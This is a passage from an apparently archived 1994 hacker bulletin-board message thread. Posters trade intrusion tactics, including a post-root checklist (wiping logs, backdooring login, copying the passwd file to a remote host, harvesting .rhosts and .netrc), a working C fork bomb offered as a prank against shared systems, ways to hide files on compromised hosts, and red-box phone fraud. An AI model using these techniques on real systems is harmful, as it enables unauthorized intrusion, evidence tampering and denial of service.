know a lot more than I did when I was younger-- but the net effect is
similar. Instead of deciding whether to guess passwords or write simple
trojan scripts, I now ponder the advantages of getting an Intel-based Unix
on a 486 against a used Sun workstation. Guess it's good to broaden your
horizons....From *both* points of view.
I'd still like to hear from people what they would do as root-- those
who have it as well as those who don't. I, I have it legit-- and it is
boooooring...
Fastjack
From Nomad@yabbs Tue Jan 25 04:26:37 1994
From: Nomad@yabbs
To: Fastjack@yabbs
Subject: First steps
Date: Tue Jan 25 04:26:37 1994
I can't believe that this is as lively as this sub gets....
First steps for me AFTER gaining root:
1) Check for the existance of security programs. Look in the crons,
/etc/security, /usr/adm/messages*, /etc/syslogd.conf, and any others that
come to mind.
2) Remove myself from ALL logs possible. (utmp, wtmp, lastlog, and any
other's found in syslogd.conf.
3) Secure myself in (patch login, set up a port, rcp the passwd file to a
remote host)
4) Check out the system resources; How often do the telnet? Do they use
tip or cu? If I feel that the site will yield something fruitful thenm
I set up the appropriate patches, etc. If not....
5) Upload my find script (looks for alot of shit) and run it. Searches
for *.zip *.exe *.c .netrc .rhosts *.whatever.
6) Check out the .netrc files! These things are great for infecting other
systems. type 'man netrc'
7) Copy all .netrc and .rhosts files to my machine to insure future access
if my account dies or my patch is removed.
8) Browse.... Erase core files (hell i don't know)... Look at mail. If
they use cu and have it set up see if I can use it. Wow another Internet
outdial.
Well anyway I am recieving a talk request... I will respond to any and all
comments from users.
From cosmos@yabbs Tue Jan 25 05:39:52 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: PW cracker
Date: Tue Jan 25 05:39:52 1994
BORING?? heh.
I have it legit too. It is fun, ever chase a cracker through your
system?? That makes for interesting work...
Cosmos
From nphire@yabbs Tue Jan 25 12:50:48 1994
From: nphire@yabbs
To: all@yabbs
Subject: Dark Box
Date: Tue Jan 25 12:50:48 1994
Anybody here ever built a Dark Box? If so, how'd it work?
Thanx in advace.
Neurophyre [KARMA/KRA]
From cosmos@yabbs Tue Jan 25 13:14:17 1994
From: cosmos@yabbs
To: nphire@yabbs
Subject: re: Dark Box
Date: Tue Jan 25 13:14:17 1994
Sorry, cannot resist.
So what 3l33t |<-RaD gr00p does KARMA/KRA stand for??
Cosmos
From Justin@yabbs Tue Jan 25 13:52:33 1994
From: Justin@yabbs
To: Nomad@yabbs
Subject: re: First steps
Date: Tue Jan 25 13:52:33 1994
This makes interesting reading. So for the amateur, when you've first
secured a "relatively secure Internet address, and let's say that you
wander upon a random board that you can't access, then how do you recon
the system? How do you find user names, or set up accounts? I think I'm
grasping the concept, and I'm listening. I'm just on shakey ground as
where to start. Any help however small would be greatly appericiated. -J
From nphire@yabbs Tue Jan 25 15:09:32 1994
From: nphire@yabbs
To: cosmos@yabbs
Subject: AhBullShiyit
Date: Tue Jan 25 15:09:32 1994
Goddammit, will you quit ragging on me because of KARMA?! There is no
reason why you have to be such an ass about this. Now, I asked a question
about Dark Boxes. If you want to answer it, fine. If not, fine.
From cosmos@yabbs Tue Jan 25 15:21:57 1994
From: cosmos@yabbs
To: Justin@yabbs
Subject: re: First steps
Date: Tue Jan 25 15:21:57 1994
Forgive me if I am intruding, but what do you mean "board"?? If you are
referring to a bulletin board based server like yabbs then you are not
going to find a multitude of them. This is not ms-dos and windows weenie
land. Now explain to me why you would want to break into an internet BBS
anyway...90% if not 100% of them are public and accessible anyways.
To go on, if you want to compromise the security on an internet site then
the first approach is not to ask "hey, how do I do it" but to learn and
absorb the operating system. This is not the easiest of tasks. Unlike
the 80's, the internet is now relatively secure to the average attacker.
Learn UNIX. Learn it, study it, and live it. Get all the books you can
about UNIX, find a local provider, school, etc... and get aquainted to
using UNIX. If you are on an intel platform get netBSD(or LINUX if you
are inclined), macintosh get macBSD. Play with it and expirement with
everything. Yes, welcome to hacking 101. More books, time, and sweat
thatn any damn college course you will ever take.
NEVER beg for accounts, and expect a silver platter to be handed to you.
Hacking is not picking up some cool t-philes and typing some commands. It
is a philosophy and an intense understanding and knowledge of computers
and operating systems, and is not limited to the uebercracker(thank you
Dan Farmer) but to any person who accomplishes their goal through
undocumented or abstract methods.
My $.02
Cosmos
From cosmos@yabbs Tue Jan 25 15:23:12 1994
From: cosmos@yabbs
To: nphire@yabbs
Subject: re: AhBullShiyit
Date: Tue Jan 25 15:23:12 1994
oops. Sorry, I forgot how k00l Anarchy is.
Live long and prosper.
Cosmos
From Biro@yabbs Tue Jan 25 21:03:15 1994
From: Biro@yabbs
To: nphire@yabbs
Subject: a
Date: Tue Jan 25 21:03:15 1994
You still haven't told us what KRMA/KRA stands for.. we're dying to know.
From Tele@yabbs Tue Jan 25 21:08:42 1994
From: Tele@yabbs
To: Biro@yabbs
Subject: re: a
Date: Tue Jan 25 21:08:42 1994
>You still haven't told us what KRMA/KRA stands for.. we're dying to know.
I always thought KARMA was an ansi group..
From cosmos@yabbs Tue Jan 25 21:18:05 1994
From: cosmos@yabbs
To: Tele@yabbs
Subject: re: a
Date: Tue Jan 25 21:18:05 1994
No No No.....I asked the 3l33t groupie himself:
KARMA is an anarchist group. How original.
Cosmos
From Fastjack@yabbs Tue Jan 25 22:55:34 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: PW cracker
Date: Tue Jan 25 22:55:34 1994
Well, no, I haven't had the full Cliff Stolle experience....
But the machine I run isn't scheduled to be up on the Net for a while-
don't want to rush things with the crackers graduating to real
systems
--But you learn a lot about security from being on the other end of it.
It's the best tutorial there is, imho.
Why don't you let us in a little on this cracker-- we had a kinda
interesting experience here at my school as well-- afraid I'd have to
relate it second-hand, though....
Fastjack
From Nomad@yabbs Tue Jan 25 23:39:09 1994
From: Nomad@yabbs
To: cosmos@yabbs
Subject: hacking...
Date: Tue Jan 25 23:39:09 1994
Chasing crackers:
There has gfot to be no greater experience in hacking than testing your
knowledge against another cracker's. I don't mean voice where you have
this little debate about who knows more or who is better. I mean online
where you don't know shit about him and he doesn't even know you see him.
This is especially nice if you have a few ways into the system and he is
using a hacked account. I have had this experience a few times and it is a
blast. I was on this small edu site with like twelve users and I fucking
gave this dude hell. Found all the ways I knew of to get root and disabled
them (rdist, etc); Found out where he was coming in from i case I needed
to hack his site. Looked at his .history to find out what he was doing.
Went to the current dir he was in amd moved the files he had put up
elsewhere for future use, and kicked him off with a little message ketting
him know I was a cracker and told him to fuck off and stay off my site..
That issued the challenge and he was right back. ps showed him doing a cat
> gimme to attempt to get root but it did not happen. I just toyed with
him for a while. Then wrote a little c program to make him sit there for a
long time and then log him out and put it in his passwd entry. I could
send him all sorts of hateful messages telling him how lame he was and
when the time limit ran out he would be logged out and he would try it
again. Finally he gave up. Christmas modemer..... hahah
UNIX: cosmos is right about learning Unix inside and out. I am far from
this but I feel that I know more than most (which isn't saying that much.)
I have read so many books on Unix that I cannot even list them all because
I forgot some of the title's. I remember one I spent a week reading this
one book at a local University cos I could not get a library card unless I
was a student. It took me an hour to get to the school on the bus and an
hour to get back, but I was committed. I feel that if you are going to
hack then you should do as much as you can by specializing in just a gfew
fields. No one person can master everything but if you take your skill and
put it together with a handful of people that you know and trust then you
will have yourself a nice little team of hackers. Otherwise you are just
going to be left out and you will just be doing the same thing over and
over again. One time I spoke to an ex hacker and he told me he quit
because hacking reminded him of the old cocaine commercial with the guy
walking around in a circle. He is correct about so many hackers out there.
Most never learn to program and really don't care to because they do not
want to commit themselves to LEARNING something. They feel that what they
are doing is fun and that there is no reason to learn how to program. I
admit that at one time I felt the same way. Then I learned C. The little
that I know about programming C on Unix has helped me immensely in my
hacking exploits. Now I can't believe I ever hacked without it.
Gives you something to think about.
Input please................
Nomad
From Tele@yabbs Wed Jan 26 01:39:46 1994
From: Tele@yabbs
To: cosmos@yabbs
Subject: re: a
Date: Wed Jan 26 01:39:46 1994
>KARMA is an anarchist group. How original.
Well its gotta be better than the groups down here. <Orange Country
California>. Then again, im not too keen on groups to begin with.
Tele
From cosmos@yabbs Wed Jan 26 06:39:54 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: PW cracker
Date: Wed Jan 26 06:39:54 1994
- grin* How do you think I know this stuff. But you mature and go on.
System cracking is just plain not worth it anymore. IMHO, cracking a
system and fooling around and going to jail is not in my list of
objectives. Ruining my career over root is pointless.
Couple of years back I was completley the opposite...of course I grew up
in a kindler gentler arena to crack in. I got caught, I got offered a
job. Today I would get offered a cell, and a huge ass fine.
Cosmos
From cosmos@yabbs Wed Jan 26 06:42:24 1994
From: cosmos@yabbs
To: Nomad@yabbs
Subject: re: hacking...
Date: Wed Jan 26 06:42:24 1994
Thank you, a perfect little anecdote. Now do that as legitamite root...;)
(thats what I am)
Cosmos
From Nomad@yabbs Wed Jan 26 15:54:37 1994
From: Nomad@yabbs
To: cosmos@yabbs
Subject: re: hacking...
Date: Wed Jan 26 15:54:37 1994
Quit bragging.
From cosmos@yabbs Wed Jan 26 18:14:21 1994
From: cosmos@yabbs
To: Nomad@yabbs
Subject: re: hacking...
Date: Wed Jan 26 18:14:21 1994
About what??
Cosmos
From Justin@yabbs Wed Jan 26 19:29:34 1994
From: Justin@yabbs
To: cosmos@yabbs
Subject: re: First steps
Date: Wed Jan 26 19:29:34 1994
Thanks for the help. I don't want it handed down on a silver platter, but
I had no idea where to start. You've been a great help to me, and now I'm
off to find some UNIX books. -Justin
From nphire@yabbs Wed Jan 26 22:40:21 1994
From: nphire@yabbs
To: cosmos@yabbs
Subject: re: AhBullShiyit
Date: Wed Jan 26 22:40:21 1994
Yay. I'll bet you did.
Anyway, I saw your earlier post. You can't accuse me of being a leech,
because as I said someplace I am trying to learn things. In fact, the
instant I get my damned 4 MB I'll be downloading Linux and attempting to
install it on my system so as to learn more.
See? I ain't that bad.
From nphire@yabbs Wed Jan 26 22:43:14 1994
From: nphire@yabbs
To: all@yabbs
Subject: whining about group
Date: Wed Jan 26 22:43:14 1994
Jesus christ. You call yourselves great and you dont even bother to find
out anything before condemning KARMA. As for you, cosmos: You are
posting all these high minded things and then tell everyone about how
KARMA is an anarchist group. If you had processed the info I gave you,
you would know this is not true. Its simply a name. We thought it looked
ok. Oh dammit.
From cosmos@yabbs Thu Jan 27 05:20:09 1994
From: cosmos@yabbs
To: nphire@yabbs
Subject: re: AhBullShiyit
Date: Thu Jan 27 05:20:09 1994
Yeah you are, you are installing linux! ;)
Cosmos
From Adonis@yabbs Thu Jan 27 06:49:37 1994
From: Adonis@yabbs
To: all@yabbs
Subject: You guys know nothing!
Date: Thu Jan 27 06:49:37 1994
Ha!
I am elite. I am a true hacker unlike you girlies. I have broken into
military sites, banks, schools, and businesses. I can break into any
system anywhere. YOu idiots wouldnt know hacking from a hole in the
ground.
Email me if you want real info! Only $49.95 for information on how to
access systems worldwide.
From abort@yabbs Thu Jan 27 13:40:37 1994
From: abort@yabbs
To: Adonis@yabbs
Subject: re: You guys know nothing!
Date: Thu Jan 27 13:40:37 1994
HAHAHAHAHAHAHAHAHAHAHAHA
apt name fer that schpleeel of schtuff
if anyone has a place where I can pick up a TASM for really really cheap,
let me know please. I can't get my assemler I have now to do some stuff
that I relly need done.
From JasonLee@yabbs Thu Jan 27 20:17:56 1994
From: JasonLee@yabbs
To: Adonis@yabbs
Subject: re: You guys know nothing!
Date: Thu Jan 27 20:17:56 1994
Adonis said:
Ha!
I am elite. I am a true hacker unlike you girlies. I have broken into
military sites, banks, schools, and businesses. I can break into any
system anywhere. YOu idiots wouldnt know hacking from a hole in the
ground.
Email me if you want real info! Only $49.95 for information on how to
access systems worldwide.
JasonLee:
Wow, I really hope this is a joke. Damn, I wish I could be like Adonis.
JasonLee
From Tele@yabbs Thu Jan 27 22:13:04 1994
From: Tele@yabbs
To: Adonis@yabbs
Subject: re: You guys know nothing!
Date: Thu Jan 27 22:13:04 1994
ill take that as a joke.. it was a joke, was'nt it?
From Case@yabbs Fri Jan 28 01:57:33 1994
From: Case@yabbs
To: Adonis@yabbs
Subject: re: You guys know nothing!
Date: Fri Jan 28 01:57:33 1994
but does a REAL hacker unravel his identity?
From Nomad@yabbs Fri Jan 28 02:08:47 1994
From: Nomad@yabbs
To: cosmos@yabbs
Subject: re: hacking...
Date: Fri Jan 28 02:08:47 1994
Quit bragging about having legit root.. jeez
I should not have to paint pictures, this is not a flame
Nomad
From Nomad@yabbs Fri Jan 28 02:28:39 1994
From: Nomad@yabbs
To: Adonis@yabbs
Subject: re: You guys know nothing!
Date: Fri Jan 28 02:28:39 1994
Adonis has gvot to be lamest person. To make such a broad post like that
even as a joke is fucking stupid. I could take the average computer user
and teach him how to safely hack banks, schools, companies, etc in less
than a week. If you were a good hacker you would realize that it doesn't
matter how may systems you occupy, it's what you can get from each system.
I will never be impressed by the quantity of systems a person has, I will
only be impressed with the quality of the systems and the hacker's ability
to yield the most from each system. Adonis has only told us war stories of
his exploits (which are gvery vague) and he is just calling us lame. This
tells me that he is just a beginner. Anyone that is really good realizes
that he was once a novice and his knowledge did not come easy.
Furthermore, he would be willing to help those starting out by helping
them learn the things that they need to succeed in their projects, etc.
Adonis, I hope that one day you will learn what hacking is all about. I
know by experience that obtaining systems has got to be the easiest part
of hacking. Utilizing the given resources given and yielding information
from them is a little more complex. Each system you get in can serve some
purpose, be it as an ip scanner, carrier scanner, modem access to a
certain area code, a password cracking site, an archive site, a place for
you to test your programs, a place to set up a mail address, a bbs site, a
contact site for group members (if you are in a group) and much more. If
you have skills that are exceptional, I would like to hear about them.
Judging from your posts I can tell that the only things you know about
hacking are running scripts that give you root (rdist, div/0, etc) and
Cracking passwd files. You may have some patches but so do tons of people
who will never learn how to program.
This can be a big flame war or you can turn this into a learning
experience for everyone including yourself.
Nomad
From cosmos@yabbs Fri Jan 28 05:32:49 1994
From: cosmos@yabbs
To: JasonLee@yabbs
Subject: re: You guys know nothing!
Date: Fri Jan 28 05:32:49 1994
What? Well, I charge $99.95 for my info but you also get a t-shirt with
my tips. How about you JasonLee?? Whats your going rate these days...
:))
Cosmos
From cosmos@yabbs Fri Jan 28 09:01:15 1994
From: cosmos@yabbs
To: all@yabbs
Subject: Usenet
Date: Fri Jan 28 09:01:15 1994
Anyone catch the *hilarious* usenet event of the day, proabably the
funniest thing since Stephen Tanner's "I love little Boys" confession...
Check out comp.security.misc where some idiot(who obviously had his
account hacked) posted up the entire /etc/passwd file for some pubnix
site.
Id love to see the admins face...
Cosmos
From Adonis@yabbs Fri Jan 28 13:44:14 1994
From: Adonis@yabbs
To: all@yabbs
Subject: Ha...lamers
Date: Fri Jan 28 13:44:14 1994
Ha, I am not lame. Nomad is lame. Watch out nomad Or I will nuke all of
your accounts...
From Xela@yabbs Fri Jan 28 14:35:44 1994
From: Xela@yabbs
To: all@yabbs
Subject: Goddamn it...
Date: Fri Jan 28 14:35:44 1994
...why are you people so damn arrogant?
On both sides of the issue, all that's done is bragging about ones
friggin' ideals. Talk about real shit, peoples. That's what I read this
message area for, not for 101 ways to brag.
Look, cosmos, just get off your high horse and ignore those you hate
so much if its a big deal to you!
-Alex
From panzer@yabbs Fri Jan 28 15:17:28 1994
From: panzer@yabbs
To: adonis@yabbs
Subject: Rates...
Date: Fri Jan 28 15:17:28 1994
I am better than all you girlie hackers...
I kick small executables in the face of wimpy sys-admins...
My training can be yours for as little as $39.95 plus S/H...
I am root on many systems...
From JasonLee@yabbs Sat Jan 29 01:53:00 1994
From: JasonLee@yabbs
To: cosmos@yabbs
Subject: re: You guys know nothing!
Date: Sat Jan 29 01:53:00 1994
Well, you know, I'm one of those high class hook^H^H^Hackers, so I won't
reveal me rates. You know how the saying goes: If you have to ask....
JasonLee
From JasonLee@yabbs Sat Jan 29 01:53:35 1994
From: JasonLee@yabbs
To: Adonis@yabbs
Subject: re: Ha...lamers
Date: Sat Jan 29 01:53:35 1994
All right, now we KNOW it's a joke!
JasonLee
From Nomad@yabbs Sat Jan 29 05:07:40 1994
From: Nomad@yabbs
To: Adonis@yabbs
Subject: .
Date: Sat Jan 29 05:07:40 1994
Watch out for Nomad you guys.
Weak. Let's get some discussion going on here. Surely someone has some
questions that need to be answered, I know I do.
Hopefully that is the end of the flames but I know someone will have
something to say.
Now for my question. I am looking for a way to hide files under unix. I
know that all the information is kept in dirent structures found in
dirent.h but I have been toying around and have not been successfully able
to accomplish this task. I spoke with someone the other day and they told
me that I needed to edit the inode tables in the superblock (I think
that's what he said, sounds crazy) and remove the inode from the available
list so that the file will not be overwritten. The only thing I am worried
about is that they file might get big enough to go over into other inodes
that will later be allocated and used. Does anyone know anything about
this or have files pertaining to it. I would really appreciate it.
Nomad
From panzer@yabbs Sun Jan 30 02:43:32 1994
From: panzer@yabbs
To: Nomad@yabbs
Subject: hidden files
Date: Sun Jan 30 02:43:32 1994
well the standard filename "..." can be used, but is old
If you are hiding it with inodes, etc, then you can't be expecting to
access it all the time... Why not just encrypt it?
Another way to do things that is wierd, is to make a directory, copy the
file in there, and mount a filesystem on that directory. People can not
get to the file via normal ways, until the filesystem is de-mounted.
-Panzer
From Biro@yabbs Sun Jan 30 05:13:03 1994
From: Biro@yabbs
To: Tele@yabbs
Subject: re: a
Date: Sun Jan 30 05:13:03 1994
>>You still haven't told us what KRMA/KRA stands for.. we're dying to
know.
> I always thought KARMA was an ansi group..
ta.. their name never reached the forbidden shores of Australia
From iceman__@yabbs Sun Jan 30 14:22:38 1994
From: iceman__@yabbs
To: Fastjack@yabbs
Subject: re: PW cracker
Date: Sun Jan 30 14:22:38 1994
There are countless number of ways to gain root on different OS's like
SunOS, there are holes that Sun hasn't even released patches for, you can
gain root on 90% of SunOS systems on the net with the right knowledge.
iceman
From iceman__@yabbs Sun Jan 30 14:37:14 1994
From: iceman__@yabbs
To: all@yabbs
Subject: w0w
Date: Sun Jan 30 14:37:14 1994
This is funny, who the fuck give s a shit if you have legit root, I think
half the people here need to get off their high horses, half of you are
just looking for confrontations. Who the fuck gives a shit, it's not a
competition. If you think it's a competition, you need to get your
priorities straight. It doesn't matter at all how much you know, if your
an asshole, who would want to talk to you anyways? I'm just saying that
some of you need to lighten up drastically, you come out looking terribly
insecure, and thats what having an attitude is, insecurity. Don't even
bother replying if your gonna respond in the same way.
Hacking isn't about competition, it's not about who's superior, hacking
should be something you do or yourself, to learn, and help others learn.
Unix holes are no big deal, there are hundreds of scripts out there that
exploit every hole ever found, holes that Sun hasn't patched yet, are you
knowledgable enough to find them all on your own? Nobody is..
It's all about cooperation, nobody can get anywhere alone, flaming is
pointless.
iceman
GnUL0D!@@!$234
werd
h0h0h0
From Nomad@yabbs Sun Jan 30 15:27:47 1994
From: Nomad@yabbs
To: all@yabbs
Subject: misc...
Date: Sun Jan 30 15:27:47 1994
Panzer, if I mount a file system then that will be a flag pointin to the
file I wish to hide. When the admin types mount and sees a new entry where
there was none before he is liable to just umount it. Crypting shit is ok
but I want other programs to be able to utilize my files. Fuck having to
decrypt it within a patch or something to add output. The ability to hide
it, make it there for about say 2 secs and then hide it again is much more
favorable.
Iceman has a point, we're just lame.
Nomad
From panzer@yabbs Sun Jan 30 19:33:12 1994
From: panzer@yabbs
To: Nomad@yabbs
Subject: re: hiding
Date: Sun Jan 30 19:33:12 1994
Explain a little more of what you want to do. Crypting can be done in a
script. You just enter the passphrase at the beganning, and then after the
processing of the encrypted data.
Remember that by storing data on someone elses machine, it is inherently
unsafe, and that sooner or later it will be discovered.
-Panzer
Who knows that those with legit root learn faster than those without.
From cosmos@yabbs Mon Jan 31 11:19:14 1994
From: cosmos@yabbs
To: all@yabbs
Subject: A nifty little C program...
Date: Mon Jan 31 11:19:14 1994
Here's something for a fun day on your local UNIX system,...
main()
{
for(;;)
{
malloc(1000);
fork();
}
}
type that puppy in and then compile it and then run it. Don't come
yelling at me when your sysadmin calls you up...
Cosmos
From abort@yabbs Mon Jan 31 15:55:28 1994
From: abort@yabbs
To: cosmos@yabbs
Subject: re: A nifty little C program...
Date: Mon Jan 31 15:55:28 1994
HEHEHE that's a nice program there. allocate 1000 ram and then fork and
keep doing that until the cows come home, fork fork fork fork fork. GROW
GROW GROW System goes SLOW SLOW SLOW
I GOT LINUX. hehe I got Linux installed finally with all the G++ stuff
and more. Too bad I dont have a way to get it wired to Inet 8(. I get to
learn a lot more about Unix now. It's amazing how much your knowledge
will jump when you have to actually set the thing up and admin it
yourself. Sysadmining is a hell of a way to learn to hack.
Now I just gotta teach myself some C++ on here.
From Fastjack@yabbs Mon Jan 31 17:54:04 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: A nifty little C program...
Date: Mon Jan 31 17:54:04 1994
Heheheh, that's pretty lame.
Not to mention it was the same one (exactly) as the one posted by
lpkruger@flagstaff.princeton.edu Mon Jan 31 00:29:00 Greenwich Mean.
On alt.hackers. Go back and Check.
Now either you and he are one and the same person, who feels obligated to
show his cleverness to the world and empower everyone who can type 'cc'
[I prefer gcc myself], or you are one hell of a lame copycat.
That said, I will go on to state that the *BEST* way of learning Advanced
Unix hacking is to admin. 'Nuff said.
Fastjack
From panzer@yabbs Mon Jan 31 18:21:22 1994
From: panzer@yabbs
To: all@yabbs
Subject: simple C program
Date: Mon Jan 31 18:21:22 1994
Basically if you run that simple little program on a Linux box, you will
completely crash the machine. It will not come back except via reboot.
You can also just write a program that recursively calls itself allocating
100k of mem or something. This way you hog mem as opposed to proccesses.
All depends what your objective is.
Linux comes with some open holes you should fix. Either as an exercise to
the readers, or ask if you want to know some of 'em...
For example, the SLS dist I originally used had /usr/lib world writable...
-Panzer
From cosmos@yabbs Mon Jan 31 18:50:40 1994
From: cosmos@yabbs
To: Fastjack@yabbs
Subject: re: A nifty little C program...
Date: Mon Jan 31 18:50:40 1994
Did I say I wrote it dipshit??? No, it just caught my eye and I rather
enjoyed it. I do admin numnuts. Nuff said.
Cosmos
From htoaster@yabbs Mon Jan 31 20:21:08 1994
From: htoaster@yabbs
To: panzer@yabbs
Subject: holes in free systems
Date: Mon Jan 31 20:21:08 1994
All systems come with holes. While people are mentioning them in linux,
here is a pretty big one in any of the BSDs. If people install the system
but never install the crypted password stuff (it is a seperate package
due to export restrictions, but trivial to install) it doesn't encrypt using
any method in /etc/passwd.master (the shadow file). So if the account is
- 'ed out to make it not loginable you can just type * in the password
field...
most people use the security stuff though...
alex
From JasonLee@yabbs Mon Jan 31 21:13:00 1994
From: JasonLee@yabbs
To: cosmos@yabbs
Subject: re: A nifty little C program...
Date: Mon Jan 31 21:13:00 1994
COsmos said:
Here's something for a fun day on your local UNIX system,...
main()
{
for(;;)
{
malloc(1000);
fork();
}
}
-----------------------------
Well, the only problem with that is that on a decent, semi-secure system
luck the one I'm unfortunate enough to have an account on, there's a
process limit. Yes, I can only have something like 40 processes running
at the same time. The only one that would screw over is me, since it
would waste the CPU time I'm allowed.
JasonLee
From htoaster@yabbs Mon Jan 31 22:12:59 1994
From: htoaster@yabbs
To: JasonLee@yabbs
Subject: re: A nifty little C program...
Date: Mon Jan 31 22:12:59 1994
In message re: A nifty little C program..., JasonLee said:
> Well, the only problem with that is that on a decent, semi-secure system
> luck the one I'm unfortunate enough to have an account on, there's a
> process limit. Yes, I can only have something like 40 processes running
> at the same time.
Have you played around with unlimit. You may be able to get more than
40 processes but 40 is the softlimit set by default or whatever...
alex
From abort@yabbs Mon Jan 31 22:13:35 1994
From: abort@yabbs
To: Fastjack@yabbs
Subject: re: A nifty little C program...
Date: Mon Jan 31 22:13:35 1994
haha, you had to bust on someone hahahahahahhaahhahahaha
fuck off
hahahaha
wake up and taste reality, noone reads alt.hackers anymore, noone cares
where cosmos got that, noone gives a shit wether someones a lamer or not
BUT YES, adminning is one hell of a way to learn shit.
From PHreedOm@yabbs Tue Feb 1 06:18:47 1994
From: PHreedOm@yabbs
To: all@yabbs
Subject: 2600
Date: Tue Feb 1 06:18:47 1994
hello
do you know a site internet that has the '2600' magazine?
thank
bye
PHreedOm
From cosmos@yabbs Tue Feb 1 08:09:28 1994
From: cosmos@yabbs
To: PHreedOm@yabbs
Subject: re: 2600
Date: Tue Feb 1 08:09:28 1994
its harcopy. shell out $4.00 or whatever it costs and get it. good luck
finding a store with it. Tower records on Clark in Chicago has em...
Cosmos
From PHreedOm@yabbs Tue Feb 1 08:53:26 1994
From: PHreedOm@yabbs
To: cosmos@yabbs
Subject: re: 2600
Date: Tue Feb 1 08:53:26 1994
thanks
bye
PHreedOm
From cosmos@yabbs Tue Feb 1 18:11:46 1994
From: cosmos@yabbs
To: arachnoi@yabbs
Subject: re: Needs
Date: Tue Feb 1 18:11:46 1994
Whats your reason for asking?? No, I am not the admin on mcs.com but I am
friends with karl denninger the sysadmin there. Have a beef with the
system??
Cosmos
From Fastjack@yabbs Tue Feb 1 19:02:56 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: A nifty little C program...
Date: Tue Feb 1 19:02:56 1994
Okay cosmos...
No harm done.....
I was just hoping for something besides a little fork program that any
competent C programmer could whip off in 2 seconds (again, literally).
And yeah, you didn't say you wrote it....
Besides being a cool joke, it accomplishes little besides denial of
service to the target machine, obviously.
Now that we have that out of the way, anybody have any thoughts on how to
take out a VAX without going root? [or whatever they have] I'm not very
fond of VMS at all, but the sheer numbers in use make it nice to know a
few things...
Fastjack
From Fastjack@yabbs Tue Feb 1 19:08:43 1994
From: Fastjack@yabbs
To: abort@yabbs
Subject: re: A nifty little C program...
Date: Tue Feb 1 19:08:43 1994
Yeah, no one cares where cosmos got it.
But 'no one reads alt.hackers anymore? C'mon.
It aint alt.2600 or alt.forgery but learning the system, what is possible,
and past hacks is the way to go about it. Maybe the group is old and
getting stale, but now that all the clueless masses regularly post 'how to
post to alt.hackers' msgs, but it sure beats a bunch of the cluless masses
sitting around exchanging C progs that they don't understand and asking
for accounts/GODs/whathaveyou....
Fastjack
From abort@yabbs Tue Feb 1 19:12:57 1994
From: abort@yabbs
To: Fastjack@yabbs
Subject: re: A nifty little C program...
Date: Tue Feb 1 19:12:57 1994
HEY, I have guys ask me for accounts all the time. And I get this one
too.
"hey man, how can I change my grades?"
and
"Tell me how to hack root"
and
"How can I blow up my system"
hahaha a million miles away and still smelling them.
The best one I have ever seen anywhere is
"what's a soldering iron"
From cosmos@yabbs Tue Feb 1 20:35:02 1994
From: cosmos@yabbs
To: arachnoi@yabbs
Subject: re: Needs
Date: Tue Feb 1 20:35:02 1994
I tripped across a sniffer?? Mail me private in more detail, I want to
hear this...
I know we got some lamer using .rhosts about a week ago but I havent heard
about a sniffer...I ll have to talk to Karl about this.
Cosmos
From cosmos@yabbs Tue Feb 1 20:38:05 1994
From: cosmos@yabbs
To: abort@yabbs
Subject: re: A nifty little C program...
Date: Tue Feb 1 20:38:05 1994
No, my personal favourite is: 6.5 mhz whats that? or so do I drop the
6.5 crystal in the quarter slot?
Honest to God, that last one is 100% real...quoted at a chicago 2600
meeting last year.
Cosmos
From dmonger@yabbs Tue Feb 1 22:02:37 1994
From: dmonger@yabbs
To: cosmos@yabbs
Subject: re: A nifty little C program...
Date: Tue Feb 1 22:02:37 1994
I forgot to put the malloc call in when I wrote it several years ago.
running across campus at 2:00 am to reboot a DECstation in your
school library is cool....
-p
From paradox@yabbs Wed Feb 2 13:45:41 1994
From: paradox@yabbs
To: cosmos@yabbs
Subject: re: A nifty little C program...
Date: Wed Feb 2 13:45:41 1994
Hey man... at the last 2600 meet there was a lamer who just came so he
could get plans for a red box... that's all. Everybody just smiled and
ignored him though... where to people hear about these meetings?
Eventually somebody will catch on and try something stupid if we aren't
careful
From Fastjack@yabbs Wed Feb 2 16:24:47 1994
From: Fastjack@yabbs
To: all@yabbs
Subject: re: A nifty little C program...
Date: Wed Feb 2 16:24:47 1994
At any rate, I prefer not to allocate the memory.....
That just causes the systen to swap out, and slows it down....when I want
to bring it down, I just fill the process table...
FJ
From tknight@yabbs Wed Feb 2 20:59:45 1994
From: tknight@yabbs
To: all@yabbs
Subject: ......
Date: Wed Feb 2 20:59:45 1994
Today i went out and bought a tone dialer. I had to get the type with no
memory,because they we're all out of the others(i know they cancelled
them) But i can't figure out any reason icouldn't make a redbox out of
this one. I would just have to press the star button manually for each
nickel.
My question is,HOW DO IGET THE BACK COVER OFF???
the damn thing has no screws or anything.
help
tknight
From binkley@yabbs Wed Feb 2 23:39:09 1994
From: binkley@yabbs
To: paradox@yabbs
Subject: re: A nifty little C program...
Date: Wed Feb 2 23:39:09 1994
Ya, I was at the last 26'th meeting, what time did you show up?? I was on
from begining tiull like 1:20PM l8r
binkley
From JasonLee@yabbs Wed Feb 2 23:41:20 1994
From: JasonLee@yabbs
To: tknight@yabbs
Subject: re: ......
Date: Wed Feb 2 23:41:20 1994
That was probably a bad idea getting the non-memory version. The timing
of the beeps has to be within a certain range (something like +/- .42
msec) for the sound to work. I don't know where the screws are, but good
luck.
JasonLee
From cosmos@yabbs Thu Feb 3 05:16:04 1994
From: cosmos@yabbs
To: tknight@yabbs
Subject: re: ......
Date: Thu Feb 3 05:16:04 1994
HAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHAHA!!!
Listen, I am so tempted to rip you apart for this, but oh well.
Maybe you should have read a little more about a redbox or asked a few
more questions before you wasted your money.
You CANNOT MAKE A REDBOX FROM THE NON-MEMORY DIALER. Perdiod, amen.
Their is no goddamn way you can manually hit the keys at the exact timing
for the required tone...get a memory dialer and program the priority keys
for 5 *'s
heh.
Cosmos
From jcjc@yabbs Thu Feb 3 06:23:13 1994
From: jcjc@yabbs
To: @yabbs
Subject: re: A nifty little C program...
Date: Thu Feb 3 06:23:13 1994
jajaja, red boxing .. how lame, - go to Cellular!! dammit
anyways, oki 900 - and assembler, and yer set.. Hasta
Call Backwarding
From jcjc@yabbs Thu Feb 3 06:26:51 1994
From: jcjc@yabbs
To: cosmos@yabbs
Subject: red boxxxxxings lame
Date: Thu Feb 3 06:26:51 1994
